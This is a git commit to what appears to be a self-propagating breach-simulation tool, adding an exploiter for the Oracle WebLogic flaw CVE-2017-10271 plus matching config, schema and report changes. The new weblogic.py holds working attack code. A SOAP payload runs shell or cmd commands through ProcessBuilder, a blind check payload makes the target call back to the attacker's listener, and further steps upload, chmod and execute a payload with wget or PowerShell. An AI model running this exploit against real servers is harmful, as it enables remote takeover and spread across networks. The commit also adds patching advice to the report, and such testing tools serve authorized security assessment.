Core functions of Oracle weblogic rce

This commit is contained in:
Vakaris 2018-07-19 14:15:18 +03:00
parent 8af2ab70e7
commit ab64e78f00
7 changed files with 264 additions and 11 deletions

View File

@ -7,7 +7,7 @@ from abc import ABCMeta
from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
MSSQLFinger
@ -149,7 +149,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, Struts2Exploiter # multi
ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi
]
# how many victims to look for in a single scan iteration
@ -191,7 +191,7 @@ class Configuration(object):
# TCP Scanner
HTTP_PORTS = [80, 8080, 443,
8008, # HTTP alternate
8008, 7001 # HTTP alternate
]
tcp_target_ports = [22,
2222,

View File

@ -37,7 +37,8 @@
"ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
"Struts2Exploiter"
"Struts2Exploiter",
"WebLogicExploiter"
],
"finger_classes": [
"SSHFinger",
@ -87,7 +88,8 @@
443,
3306,
8008,
9200
9200,
7001
],
"timeout_between_iterations": 10,
"use_file_logging": true,

View File

@ -42,3 +42,4 @@ from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter
from struts2 import Struts2Exploiter
from weblogic import WebLogicExploiter

View File

@ -0,0 +1,203 @@
# Exploit based of:
# Kevin Kirsche (d3c3pt10n)
# https://github.com/kkirsche/CVE-2017-10271
# and
# Luffin from Github
# https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271
from requests import post, exceptions
from web_rce import WebRCE
from exploit.tools import get_free_tcp_port, get_interface_to_target
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from model import POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED, WGET_HTTP_UPLOAD
import threading
import logging
import copy
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for response
DOWNLOAD_TIMEOUT = 4
# How long to wait for a request to go to vuln machine and then to our server from there
REQUEST_TIMEOUT = 2
# How long to wait for response in exploitation
EXECUTION_TIMEOUT = 15
# Server might get response faster than it starts listening to it, we need a lock
LOCK = threading.Lock()
URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/CoordinatorPortType11",
"/wls-wsat/ParticipantPortType",
"/wls-wsat/ParticipantPortType11",
"/wls-wsat/RegistrationPortTypeRPC",
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"]
# Malicious request's headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
class WebLogicExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(WebLogicExploiter, self).__init__(host)
def exploit_host(self):
# Get open ports
ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"])
if not ports:
return False
# Get urls to try to exploit
urls = WebRCE.build_potential_urls(self.host, ports, URLS)
exploiter = self.exploit
# Checking takes a lot of time, so we check until we get exploitable url and stop
vulnerable_urls = []
for url in urls:
# Get full URL
if self.test_exploit(url):
vulnerable_urls.append(url)
break
self._exploit_info['vulnerable_urls'] = vulnerable_urls
if not vulnerable_urls:
return False
# Somehow we can't save files outside server's directory
config = copy.deepcopy(self._config)
config.dropper_target_path_win_32 = 'monkey-32.exe'
config.dropper_target_path_win_64 = 'monkey-64.exe'
config.dropper_target_path_linux = './monkey.sh'
data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0],
{'windows': POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED,
'linux': WGET_HTTP_UPLOAD})
# We can't use 'if not' because response may be ''
if not data or data['response'] == False:
return False
if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False:
return False
if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], False) == False:
return False
return True
def exploit(self, url, command):
empty_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3" >
<void index="0">
<string>{cmd_base}</string>
</void>
<void index="1">
<string>{cmd_opt}</string>
</void>
<void index="2">
<string>{cmd_payload}</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
if 'linux' in self.host.os['type']:
cmd_base = '/bin/sh'
cmd_opt = '-c'
command += ' 1> /dev/null 2> /dev/null'
else:
cmd_base = 'cmd'
cmd_opt = '/c'
command += ' 1> NUL 2> NUL'
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
try:
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
except Exception as e:
print('[!] Connection Error')
print(e)
return True
class HTTPServer(threading.Thread):
"""
Http server built to wait for GET requests. Because oracle web logic vuln is blind,
we determine if we can exploit by either getting a GET request from host or not.
"""
def __init__(self, local_ip, local_port, max_requests=1):
self._local_ip = local_ip
self._local_port = local_port
self.get_requests = 0
self.max_requests = max_requests
self._stopped = False
threading.Thread.__init__(self)
def run(self):
class S(BaseHTTPRequestHandler):
@staticmethod
def do_GET():
LOG.info('Server received a request from vulnerable machine')
self.get_requests += 1
LOG.info('Server waiting for exploited machine request...')
httpd = HTTPServer((self._local_ip, self._local_port), S)
httpd.daemon = True
LOCK.release()
while not self._stopped and self.get_requests < self.max_requests:
httpd.handle_request()
self._stopped = True
return httpd
def test_exploit(self, url):
local_port = get_free_tcp_port()
local_ip = get_interface_to_target(self.host.ip_addr)
httpd = WebLogicExploiter.HTTPServer(local_ip, local_port)
httpd.daemon = True
LOCK.acquire()
httpd.start()
LOCK.acquire()
generic_check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void id="url" class="java.net.URL">
<string>http://{lhost}:{lport}</string>
</void>
<void idref="url">
<void id="stream" method = "openStream" />
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
payload = generic_check_payload.format(lhost=local_ip, lport=local_port)
try:
post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
except exceptions.ReadTimeout:
pass
except Exception as e:
LOG.error("Something went wrong: %s" % e)
LOCK.release()
httpd.join(DOWNLOAD_TIMEOUT)
if httpd.get_requests > 0:
exploited = True
else:
exploited = False
return exploited

View File

@ -86,6 +86,13 @@ SCHEMA = {
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
},
{
"type": "string",
"enum": [
"WebLogicExploiter"
],
"title": "Oracle Web Logic Exploiter"
}
]
},
@ -626,7 +633,8 @@ SCHEMA = {
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter"
"Struts2Exploiter",
"WebLogicExploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN
@ -761,7 +769,8 @@ SCHEMA = {
80,
8080,
443,
8008
8008,
7001
],
"description": "List of ports the monkey will check if are being used for HTTP"
},
@ -783,7 +792,8 @@ SCHEMA = {
443,
8008,
3306,
9200
9200,
7001
],
"description": "List of TCP ports the monkey will check whether they're open"
},

View File

@ -30,7 +30,8 @@ class ReportService:
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
'Ms08_067_Exploiter': 'Conficker Exploiter',
'ShellShockExploiter': 'ShellShock Exploiter',
'Struts2Exploiter': 'Struts2 Exploiter'
'Struts2Exploiter': 'Struts2 Exploiter',
'WebLogicExploiter': 'Oracle WebLogic exploiter'
}
class ISSUES_DICT(Enum):
@ -43,6 +44,7 @@ class ReportService:
AZURE = 6
STOLEN_SSH_KEYS = 7
STRUTS2 = 8
WEBLOGIC = 9
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@ -298,6 +300,12 @@ class ReportService:
processed_exploit['type'] = 'struts2'
return processed_exploit
@staticmethod
def process_weblogic_exploit(exploit):
processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'weblogic'
return processed_exploit
@staticmethod
def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter']
@ -310,7 +318,8 @@ class ReportService:
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
'ShellShockExploiter': ReportService.process_shellshock_exploit,
'Struts2Exploiter': ReportService.process_struts2_exploit
'Struts2Exploiter': ReportService.process_struts2_exploit,
'WebLogicExploiter': ReportService.process_weblogic_exploit
}
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -430,6 +439,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
elif issue['type'] == 'struts2':
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
elif issue['type'] == 'weblogic':
issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True

View File

@ -24,7 +24,8 @@ class ReportPageComponent extends AuthComponent {
CONFICKER: 5,
AZURE: 6,
STOLEN_SSH_KEYS: 7,
STRUTS2: 8
STRUTS2: 8,
WEBLOGIC: 9
};
Warning =
@ -326,6 +327,10 @@ class ReportPageComponent extends AuthComponent {
<li>Struts2 servers are vulnerable to remote code execution. (<a
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
CVE-2017-5638</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
CVE-2017-10271</a>)</li> : null }
</ul>
</div>
:
@ -693,6 +698,24 @@ class ReportPageComponent extends AuthComponent {
);
}
generateWebLogicIssue(issue) {
return (
<li>
Install Oracle <a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html">
critical patch updates.</a> Or change server version. Vulnerable versions are
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
<CollapsibleWellComponent>
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
className="label label-danger">remote code execution</span> attack.
<br/>
The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware
(subcomponent: WLS Security).
</CollapsibleWellComponent>
</li>
);
}
generateIssue = (issue) => {
@ -743,6 +766,9 @@ class ReportPageComponent extends AuthComponent {
case 'struts2':
data = this.generateStruts2Issue(issue);
break;
case 'weblogic':
data = this.generateWebLogicIssue(issue);
break;
}
return data;
};